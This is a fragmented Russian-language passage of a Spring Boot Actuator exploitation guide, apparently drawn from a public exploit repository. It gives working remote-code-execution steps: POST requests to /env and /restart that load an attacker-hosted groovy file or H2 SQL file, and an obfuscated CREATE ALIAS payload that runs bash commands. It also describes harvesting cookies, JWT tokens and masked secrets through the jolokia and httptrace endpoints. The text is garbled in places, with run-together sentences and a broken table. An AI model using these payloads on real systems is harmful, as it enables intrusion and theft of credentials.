logging.config устанавливает URL-адрес файла конфигурации логов logbackch.qos.logback.classic.util.ContextInitializer.java компонента logback-classic проверяется, оканчивается ли URL на groovygroovy, то в итоге выполняется groovy-код из содержимого файла, что приводит к RCE-уязвимостиrepository/springboot-restart-rce
Нормальный доступ:``` http://127.0.0.1:9098/actuator/env
### 0x0B:restart spring.main.sources groovy RCE
#### Условия эксплуатации:
- Возможность отправлять POST-запросы на эндпоинт `/env` целевого сайта для установки свойств
- Возможность отправлять POST-запросы на эндпоинт `/restart` целевого сайта для перезапуска приложения
- ⚠️ Цель должна иметь возможность запрашивать HTTP-сервер злоумышленника (запросы могут выходить во внешнюю сеть), иначе перезапуск приведёт к аварийному завершению программы
- ⚠️ Если HTTP-сервер возвращает файл с некорректным содержимым groovy, это приведёт к аварийному завершению программы
- ⚠️ В среде должна присутствовать зависимость groovy, иначе это приведёт к аварийному завершению программы
#### Метод эксплуатации:
##### Шаг 1: Размещение groovy-файла
Запустите простой HTTP-сервер на своём VPS, используя по возможности стандартные HTTP-порты (80, 443).```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Поместите в корневой каталог файл example.groovy, заканчивающийся на groovy, содержащий код Groovy, который необходимо выполнить, например:```xml
Runtime.getRuntime().exec("open -a Calculator")
##### Шаг второй: настройка свойства spring.main.sources
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://your-vps-ip/example.groovy
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}
##### Шаг третий: перезапуск приложения
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### Принцип уязвимости:
1. Целевая машина может установить URL-адрес дополнительного источника для создания ApplicationContext через свойство `spring.main.sources`.
2. После перезапуска приложения с помощью `restart`, программа запросит установленный URL-адрес.
3. В логике кода файла `org.springframework.boot.BeanDefinitionLoader.java` компонента `spring-boot` проверяется, заканчивается ли URL на `.groovy`.
4. Если URL заканчивается на `.groovy`, то в конечном итоге выполняется groovy-код из содержимого файла, что приводит к уязвимости RCE.
#### Среда уязвимости:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
Нормальный доступ:```
http://127.0.0.1:9098/actuator/env
/env целевого сайта для установки свойств/restart для перезапуска приложенияh2database, spring-boot-starter-data-jpaНа VPS-машине, которую вы контролируете, запустите простой HTTP-сервер, используя распространенные порты HTTP (80, 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
В корневом каталоге разместите файл с произвольным именем, содержащий код SQL для выполнения h2, например:
> ⚠️ Метод 'T5' в нижеприведённом payload можно выполнить только один раз при restart; для последующего restart необходимо изменить имя метода (например, на T6) и указать новый URL-адрес SQL, чтобы restart мог использовать его снова. В противном случае при повторном restart приложение аварийно завершится.```xml
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://your-vps-ip/example.sql
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.dataorg.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java компонента spring-boot-autoconfigure код использует метод runScripts для выполнения SQL-кода h2 database из содержимого запрошенного URL, что приводит к RCE-уязвимостиrepository/springboot-restart-rce
Обычный доступ:``` http://127.0.0.1:9098/actuator/env
| spring-boot-dependencies |
| spring-cloud-dependencies | spring-cloud-dependencies |
| Мажорная версия Spring Cloud | Версия Spring Boot |
|---|
| Angel | Совместима с Spring Boot 1.2.x |
| Brixton | Совместима с Spring Boot 1.3.x, 1.4.x |
| Camden | Совместима с Spring Boot 1.4.x, 1.5.x |
| Dalston | Совместима с Spring Boot 1.5.x, несовместима с 2.0.x |
| Edgware | Совместима с Spring Boot 1.5.x, несовместима с 2.0.x |
| Finchley | Совместима с Spring Boot 2.0.x, несовместима с 1.5.x |
| Greenwich | Совместима с Spring Boot 2.1.x |
| Hoxton | Совместима с Spring Boot 2.2.x |
| Майлстоун |
| RCX | Кандидат на релиз |
| RELEASE | Официальный релиз |
| SRX | Официальный релиз (с исправлением ошибок и багов и повторным выпуском) |
/actuator/restartЭтот интерфейс раскрывается реже; можно после установки атрибутов через /env (POST) отправить POST-запрос к /restart для перезапуска приложения и вызвать соответствующие RCE-уязвимости.
/jolokia、/actuator/jolokia
Через /jolokia/list можно найти доступные для использования MBean, косвенно спровоцировав RCE-уязвимости, получить открытый текст важной приватной информации, скрытой звездочками, и т.д.
/trace、/actuator/httptrace
Некоторые HTTP-запросы содержат информацию отслеживания доступа, в которой могут быть обнаружены детали запросов внутренних приложений, а также cookie действующих пользователей или администраторов, JWT-токены и т.п.